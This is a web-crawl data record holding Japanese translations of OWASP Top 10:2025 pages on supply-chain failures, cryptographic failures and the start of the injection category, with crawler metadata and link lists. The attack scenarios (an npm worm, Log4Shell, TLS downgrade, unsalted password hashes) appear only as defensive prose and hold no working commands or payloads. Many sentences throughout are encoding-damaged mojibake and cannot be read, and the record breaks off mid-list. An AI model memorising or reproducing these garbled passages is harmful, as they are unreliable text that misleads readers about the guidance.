Script) を介して機密データを窃取し、公開 GitHub リポジトリに流出させました。このワームは環境内の npm トークンを検知し、アクセス可能な他のパッケージにも自身を自動的にプッシュして拡散しました。npm によって阻止されるまでに 500 以上のパッケージバージョンに到達しました。このサプライチェーン攻撃は高度で拡散が速く、開発者のマシンを標的とすることで、開発者自身がサプライチェーン攻撃の主要な標的となっていることを示しました。\n\n**シナリオ #4:コンポーネントの脆弱性の悪用**\n* **Struts 2 (CVE-2017-5638):** 任意コード実行 (RCE) ă‚’ĺŻčƒ˝ăŤă™ă‚‹č„†ĺźąć€§ă§ă€ĺ¤šăăŽćƒ…ĺ ąćźć´ŠăŽĺŽŸĺ› ă¨ăŞă‚Šăžă—ăŸă€‚\n* **Log4Shell (CVE-2021-44228):** Apache Log4j における RCE のゼロデイ脆弱性で、広範な攻撃キャンペーンに悪用されました。\n\n## 関連資料 (References)\n\n- [OWASP Application Security Verification Standard: V15 Secure Coding and Architecture](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet Series: Dependency Graph SBOM](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [OWASP Cheat Sheet Series: Vulnerable Dependency Management](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://owasp-aasvs.readthedocs.io/en/latest/v1.html)\n- [OWASP Dependency Check (for Java and .NET libraries)](https://owasp.org/www-project-dependency-check/)\n- OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [The Unfortunate Reality of Insecure Libraries](https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm)\n- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cve.org)\n- [National Vulnerability Database (NVD)](https://nvd.nist.gov)\n- [Retire.js for detecting known vulnerable JavaScript libraries](https://retirejs.github.io/retire.js/)\n- [GitHub Advisory Database](https://github.com/advisories)\n- Ruby Libraries Security Advisory Database and Tools\n- [SAFECode Software Integrity Controls (PDF)](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [Open Source Vulnerabilities (OSV)](https://osv.dev/)\n- [Glassworm supply chain attack](https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html)\n- [PhantomRaven supply chain attack campaign](https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-447 Use of Obsolete Function](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 Reliance on Component That is Not Updateable](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 Reliance on Insufficiently Trustworthy Component](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 12904, "slov": 563, "odkazu": 62, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:20", "sha256": "83bf9ff9cb213c9573ce725e05ecc6d39f46a9944d2e7be0be3983003a07f594", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://owasp-aasvs.readthedocs.io/en/latest/v1.html", "https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html", "https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A04_2025-Cryptographic_Failures/", "titulek": "A04 Cryptographic Failures - OWASP Top 10:2025", "h1": "A04:2025 暗号化の不備 (Cryptographic Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A04_2025-Cryptographic_Failures/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 暗号化の不備 (Cryptographic Failures)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A04:2025 暗号化の不備 (Cryptographic Failures)\n\n## 背景 (Background)\n\nćœŹă‚Ťăƒ†ă‚´ăƒŞăŻă€ĺ‰ĺ›žă‹ă‚‰é †ä˝ă‚’2つ下げて第4ä˝ă¨ăŞă‚Šăžă—ăŸă€‚ćš—ĺˇĺŒ–ăŽćŹ ĺŚ‚ă‚„ĺźˇĺşŚăŽä¸čśłă€ćš—ĺˇéľăŽćźć´Šă€ăŠă‚ˆăłăă‚Œă‚‰ăŤé–˘é€Łă™ă‚‹ă‚¨ăƒŠăƒźăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚ćœŹăƒŞă‚šă‚ŻăŤăŠă‘ă‚‹ä¸ťčŚăŞ CWE (共通弱点一覧) のうち 3 つは、脆弱な擬似乱数生成器 (PRNG: Pseudo-Random Number Generator) の利用に関連するものです。具体的には、壊れた、あるいはリスクのある暗号アルゴリズムの利用 (CWE-327)、不十分なエントロピー (CWE-331)、乱数生成器における予測可能なアルゴリズムの利用 (CWE-1241)、および暗号学的に脆弱な擬似乱数生成器の利用 (CWE-338) が挙げられます。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13.77% | 3.80% | 100.00% | 47.74% | 7.23 | 3.90 | 1,665,348 | 2,185 |\n\n## 説明 (Description)\n\n原則として、伝送中のすべてのデータはトランスポート層 (OSI 珏4幤) で暗号化されるべきです。かつて課題であった CPU č˛ čˇă‚„č¨źć˜Žć›¸çŽĄç†ăŻă€ăƒ˘ăƒ€ăƒłăŞ CPU ăŒĺ‚™ăˆă‚‹ćš—ĺˇĺŒ–ĺŠ é€Ÿĺ‘˝äť¤ (AES 命令セット等) や、LetsEncrypt.org のような自動化サービス、クラウドベンダーによる統合管理機能によって解決されています。\n\năƒˆăƒŠăƒłă‚šăƒăƒźăƒˆĺą¤ăŽäżč­ˇăŤĺŠ ăˆă€äżĺ­˜ć¸ˆăżăŽăƒ‡ăƒźă‚ż (Data at Rest) や、アプリケーション層 (OSI 珏7幤) ă§ăŽčż˝ĺŠ äżč­ˇăŒĺż…čŚăŞăƒ‡ăƒźă‚żă‚’ç‰šĺŽšă™ă‚‹ă“ă¨ăŒé‡čŚă§ă™ă€‚ç‰šăŤăƒ‘ă‚šăƒŻăƒźăƒ‰ă€ă‚ŻăƒŹă‚¸ăƒƒăƒˆă‚Ťăƒźăƒ‰ç•Şĺˇă€ĺĽĺşˇč¨˜éŒ˛ă€ĺ€‹äşşćƒ…ĺ ąă€ăŠă‚ˆăłĺ–śćĽ­ç§˜ĺŻ†ăŻă€GDPR (EU 一般データ保護規則) や PCI DSS (クレジットカード業界のデータセキュリティ基準) 等の法的・規制要件に基づき、厳重な保護が求められます。\n\näťĽä¸‹ăŽé …ç›Žă‚’ç‚šć¤œă—ăŚăă ă•ă„ă€‚\n\n- デフォルト設定や古いコードにおいて、強度の低い暗号アルゴリズムやプロトコルを使用していないか。\n- デフォルトの暗号鍵を使用していないか。鍵の強度は十分か。鍵を使い回していないか。適切な鍵管理やローテーションが行われているか。\n- 暗号鍵がソースコードリポジトリにコミットされていないか。\n- 暗号化が強制されているか。ブラウザのセキュリティヘッダー (HSTS 等) ă‚„ăƒ‡ă‚ŁăƒŹă‚Żăƒ†ă‚Łăƒ–ăŒćŹ č˝ă—ăŚă„ăŞă„ă‹ă€‚\n- サーバー証明書およびトラストチェーン (äżĄé źăŽé€ŁéŽ–) が適切に検証されているか。\n- 初期化ベクトル (IV) を無視、再利用していないか。暗号モードに適した方法で生成されているか。ECB (電子符号表モード) ăŽă‚ˆă†ăŞĺŽ‰ĺ…¨ă§ăŞă„ăƒ˘ăƒźăƒ‰ă‚’ä˝żç”¨ă—ăŚă„ăŞă„ă‹ă€‚čŞč¨źäť˜ăćš—ĺˇăŒă‚ˆă‚ŠéŠĺˆ‡ăŞĺ ´é˘ă§ă€ĺ˜ăŞă‚‹ćš—ĺˇĺŒ–ă‚’ä˝żç”¨ă—ăŚă„ăŞă„ă‹ă€‚\n- パスワードを暗号鍵として使用する際、適切な鍵導出関数 (KDF) を介しているか。\n- 乱数生成器が暗号学的要件を満たしているか。シード値に十分なエントロピーや予測不能性が備わっているか。\n- MD5 や SHA1 などの廃止されたハッシュ関数、あるいは非暗号学的ハッシュ関数を誤用していないか。\n- ćš—ĺˇă‚¨ăƒŠăƒźăƒĄăƒƒă‚ťăƒźă‚¸ă‚„ă‚ľă‚¤ăƒ‰ăƒăƒŁăƒăƒŤćƒ…ĺ ą (パディング・オラクル攻撃等) が悪用される恐れはないか。\n- 暗号アルゴリズムのダウングレードや回避が可能になっていないか。\n\n参照: ASVS 暗号化 (V11)、安全な通信 (V12)、データ保護 (V14)\n\n## 防止方法 (How to Prevent)\n\n最低限、以下の対策を実施し、関連資料も参照してください。\n\n- **データの分類とラベリング:** アプリケーションが処理・保存・伝送するデータを分類し、ラベル付けしてください。プライバシー法、規制要件、またはビジネス上のニーズに基づき、どのデータが機密 (Sensitive) であるかを特定します。\n- **HSM での鍵保存:** 最も重要な鍵は、ハードウェアまたはクラウドベースの HSM (ハードウェア・セキュリティ・モジュール) に保存してください。\n- **äżĄé źă§ăă‚‹ćš—ĺˇĺŽŸčŁ…ăŽä˝żç”¨ďźš** ĺŻčƒ˝ăŞé™ă‚Šă€ĺĺˆ†ăŤäżĄé źă•ă‚ŒăŚă„ă‚‹ćš—ĺˇă‚˘ăƒŤă‚´ăƒŞă‚şăƒ ăŽĺŽŸčŁ…ă‚’ä˝żç”¨ă—ăŚăă ă•ă„ă€‚\n- **ä¸čŚăŞćŠŸĺŻ†ăƒ‡ăƒźă‚żăŽç ´ćŁ„ďźš** ćŠŸĺŻ†ăƒ‡ăƒźă‚żă‚’ä¸ĺż…čŚăŤäżĺ­˜ă—ăŞă„ă§ăă ă•ă„ă€‚ä¸čŚăŤăŞăŁăŸăƒ‡ăƒźă‚żăŻé€Ÿă‚„ă‹ăŤç ´ćŁ„ă™ă‚‹ă‹ă€PCI DSS ćş–ć‹ ăŽăƒˆăƒźă‚ŻăƒłĺŒ–ă‚„ĺˆ‡ă‚ŠčŠ°ă‚ (Truncation) を実施してください。保存されていないデータは盗まれることもありません。\n- **保存データの暗号化:** すべての機密データは保存時 (Data at Rest) に暗号化してください。\n- **最新かつ強力なアルゴリズムの使用:** 最新かつ強力な標準アルゴリズム、プロトコル、鍵を使用し、適切な鍵管理を行ってください。\n- **伝送データの暗号化:** すべての伝送データは TLS 1.2 以上のプロトコルのみで暗号化してください。前方秘匿性 (FS: Forward Secrecy) を備えた暗号スイートを使用し、CBC (暗号ブロック連鎖) モードのサポートは停止してください。量子鍵交換アルゴリズムもサポートしてください。HTTPS 通信には HTTP Strict Transport Security (HSTS) を強制し、ツールですべてを検証してください。\n- **キャッシュの無効化:** 機密データを含むレスポンスについては、CDN、Web サーバー、およびアプリ側のキャッシュ (Redis 等) を無効化してください。\n- **データ分類に応じた制御の適用:** データ分類に応じて、必要なセキュリティ制御を適用してください。\n- **非暗号化プロトコルの禁止:** FTP や STARTTLS などの非暗号化プロトコルを使用しないでください。機密データの送信に SMTP を使用することも避けてください。\n- **パスワードの安全な保存:** パスワードには Argon2、yescrypt、scrypt、または PBKDF2-HMAC-SHA-512 のような、ソルト付きでワークファクター(遅延ファクター)を持つ適応型ハッシュ関数を使用してください。bcrypt を使用しているレガシーシステムについては、 [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) で詳細なアドバイスを確認してください。\n- **適切な IV の選択:** 初期化ベクトル (IV) は暗号モードに適した方法で選択してください。ノンスを必要とするモードでは、IV き CSPRNG (暗号論的擬似乱数生成器) ăŻä¸čŚă§ă™ă€‚ă„ăšă‚ŒăŽĺ ´ĺˆă‚‚ă€ĺ›şĺŽšéľăŤĺŻžă—ăŚĺŒă˜ IV を二度使用しないでください。\n- **認証付き暗号の採用:** 単なる暗号化ではなく、常に認証付き暗号 (Authenticated Encryption) を使用してください。\n- **暗号鍵の生成と保存:** éľăŻćš—ĺˇčŤ–çš„ăŤăƒŠăƒłăƒ€ăƒ ăŤç”Ÿćˆă—ă€ăƒĄăƒ˘ăƒŞä¸Šă§ăŻăƒă‚¤ăƒˆé…ĺˆ—ă¨ă—ăŚäżĺ­˜ă—ăŚăă ă•ă„ă€‚ăƒ‘ă‚šăƒŻăƒźăƒ‰ă‚’ä˝żç”¨ă™ă‚‹ĺ ´ĺˆăŻă€éŠĺˆ‡ăŞăƒ‘ă‚šăƒŻăƒźăƒ‰ăƒ™ăƒźă‚šăŽéľĺ°Žĺ‡şé–˘ć•° (KDF) を介して鍵に変換する必要があります。\n- **暗号乱数の適切な使用:** 暗号乱数が適切に使用され、予測可能な方法や低エントロピーでシードされていないことを確認してください。ほとんどの最新 API では、開発者が CSPRNG をシードする必要はありません。\n- **非推奨の暗号関数の回避:** MD5、SHA1、CBC モード、PKCS #1 v1.5 などの非推奨の暗号関数、ブロック構築方式、パディングスキームを使用しないでください。\n- **設定のセキュリティレビュー:** 設定と構成がセキュリティ要件を満たしていることを、セキュリティ専門家やツール、またはその両方によってレビューしてください。\n- **耐量子計算機暗号 (PQC) への備え:** 2030年末までにリスクの高いシステムを保護できるよう、今から PQC (Post-Quantum Cryptography) への移行準備を進めてください。関連資料 (ENISA) を参照してください。\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1:** あるサイトが全ページで TLS を強制していない、あるいは強度の低い暗号を許可している。攻撃者は、保護されていないワイヤレスネットワーク等でトラフィックを監視し、HTTPS から HTTP への接続ダウングレードを実行する。これにより、セッション Cookie を奪取して認証済みセッションを乗っ取り、ユーザーの個人データへのアクセスや改ざん(振込先の変更等)を行う。\n\n**シナリオ #2:** パスワードデータベースが、ソルトなしの単純なハッシュ形式で保存されていた。ファイルアップロードの脆弱性を突いてデータベースが奪取された結果、レインボーテーブル (事前計算済みハッシュの一覧) を用いてすべてのパスワードが露呈した。たとえソルトが付与されていても、単純で高速なハッシュ関数は GPU によるクラッキングの標的となる。\n\n## 関連資料 (References)\n\n- [OWASP Proactive Controls: C2: Use Cryptography to Protect Data](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [OWASP Application Security Verification Standard (ASVS):](https://owasp.org/www-project-application-security-verification-standard) [V11,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md) [12,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md) [14](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST Releases First 3 Finalized Post-Quantum Encryption Standards](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 Key Management Errors (Prohibited)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 Insufficient Entropy in PRNG](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 Small Space of Random Values](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 Predictable Exact Value from Previous Values](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 Use of Predictable Algorithm in Random Number Generator](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 14812, "slov": 733, "odkazu": 80, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:21", "sha256": "62a290a4f0931ff2326cf6d2c397467e334295182d4974c3145153aafea324ca", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A05_2025-Injection/", "titulek": "A05 Injection - OWASP Top 10:2025", "h1": "A05:2025 インジェクション (Injection)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A05_2025-Injection/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 インジェクション (Injection)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A05:2025 インジェクション (Injection)\n\n## 背景 (Background)\n\nインジェクションは前回の第3位から第5ä˝ă¸ă¨é †ä˝ă‚’ä¸‹ă’ăžă—ăŸăŒă€ă“ă‚ŒăŻă€Œćš—ĺˇĺŒ–ăŽĺ¤ąć•—ă€ă‚„ă€ŒĺŽ‰ĺ…¨ă§ăŞă„č¨­č¨ˆă€ă¨ăŽç›¸ĺŻžçš„ăŞé †ä˝ă‚’çś­ćŒă—ăŸçľćžœă€ă“ă†ăŞă‚Šăžă—ăŸă€‚ćœŹă‚Ťăƒ†ă‚´ăƒŞăŻćœ€ă‚‚é ťçšăŤăƒ†ă‚šăƒˆă•ă‚ŒăŚă„ă‚‹é ˜ĺŸŸăŽä¸€ă¤ă§ă‚ă‚Šă€čŞżćŸťĺŻžčąĄă¨ăŞăŁăŸă™ăšăŚăŽă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŒä˝•ă‚‰ă‹ăŽĺ˝˘ă§ă‚¤ăƒłă‚¸ă‚§ă‚Żă‚ˇăƒ§ăƒłăŽć¤œćŸťă‚’ĺ—ă‘ăŚă„ăžă™ă€‚ç´äť˜ă‘ă‚‰ă‚ŒăŸ 37 ぎ CWE に関する CVE ć•°ăŻĺ…¨ă‚Ťăƒ†ă‚´ăƒŞăŽä¸­ă§ćœ€ĺ¤šă§ă™ă€‚ćœŹă‚Ťăƒ†ă‚´ăƒŞăŤăŻă€ĺ‡şçžé ťĺşŚăŻéŤ˜ă„ăŒĺ˝ąéŸżĺşŚăŻç›¸ĺŻžçš„ăŤä˝Žă„ă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚° (XSS、30,000 件以上の CVE) ă‹ă‚‰ă€é ťĺşŚăŻä˝Žă„ăŒćˇąĺˆťăŞĺ˝ąéŸżă‚’ă‚‚ăŸă‚‰ă™ SQL インジェクション (14,000 件以上の CVE) まで、幅広い問題が含まれます。なお、XSS に関連する膨大な数の CVE ăŒă€ă‚Ťăƒ†ă‚´ăƒŞĺ…¨ä˝“ăŽĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ă‚’ćŠźă—ä¸‹ă’ă‚‹čŚĺ› ă¨ăŞăŁăŚă„ăžă™ă€‚\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13.77% | 3.08% | 100.00% | 42.93% | 7.15 | 4.32 | 1,404,249 | 62,445 |\n\n## 説明 (Description)\n\nă‚¤ăƒłă‚¸ă‚§ă‚Żă‚ˇăƒ§ăƒłăŽč„†ĺźąć€§ăŻă€äżĄé źă§ăăŞă„ăƒŚăƒźă‚śăƒźĺ…ĽĺŠ›ăŒăƒ–ăƒŠă‚Śă‚śă‚„ăƒ‡ăƒźă‚żăƒ™ăƒźă‚šă€ă‚łăƒžăƒłăƒ‰ăƒŠă‚¤ăƒłăŞăŠăŽă‚¤ăƒłă‚żăƒźăƒ—ăƒŞă‚ż (Interpreter) ăŤé€äżĄă•ă‚Œă€ăăŽä¸€éƒ¨ăŒć„ĺ›łă›ăšă‚łăƒžăƒłăƒ‰ă¨ă—ăŚĺŽŸčĄŒă•ă‚ŒăŚă—ăžă†ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽćŹ é™Ľă§ă™ă€‚\n\näťĽä¸‹ăŽé …ç›ŽăŤĺ˝“ăŚăŻăžă‚‹ĺ ´ĺˆă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŻč„†ĺźąă§ă‚ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚\n\n- 